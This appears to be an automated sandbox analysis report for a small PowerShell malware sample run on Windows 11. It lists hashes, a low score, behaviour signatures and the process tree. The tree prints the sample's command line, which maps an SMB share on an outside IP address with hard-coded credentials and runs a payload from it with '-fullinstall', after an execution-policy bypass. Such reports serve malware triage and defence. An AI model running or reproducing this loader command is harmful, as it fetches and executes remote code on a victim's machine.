Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 04:51

General

  • Target
    a67f38388eb5a8d44a40818b180d75684c165d909237c49c4a057b3a1bea6174.ps1
  • Size 175B
  • Sample260831-fg34tsvepb
  • SHA256 a67f38388eb5a8d44a40818b180d75684c165d909237c49c4a057b3a1bea6174
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a67f38388eb5a8d44a40818b180d75684c165d909237c49c4a057b3a1bea6174.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6112
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c net use \\62.113.112.203\shear /user:WORKGROUP\sambauser aabb1234 && \\62.113.112.203\shear\s -fullinstall
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\system32\net.exe
        net use \\62.113.112.203\shear /user:WORKGROUP\sambauser aabb1234
        3⤵
          PID:1548

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/6112-0-0x00007FFBB062F000-0x00007FFBB0630000-memory.dmp

          memory/6112-1-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-2-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-6-0x0000021CF14C0000-0x0000021CF14E2000-memory.dmp

          memory/6112-3-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-7-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-8-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-9-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-10-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-11-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-12-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-13-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp

          memory/6112-15-0x0000021CF1530000-0x0000021CF165F000-memory.dmp

          memory/6112-16-0x00007FFBB04A0000-0x00007FFBB0E44000-memory.dmp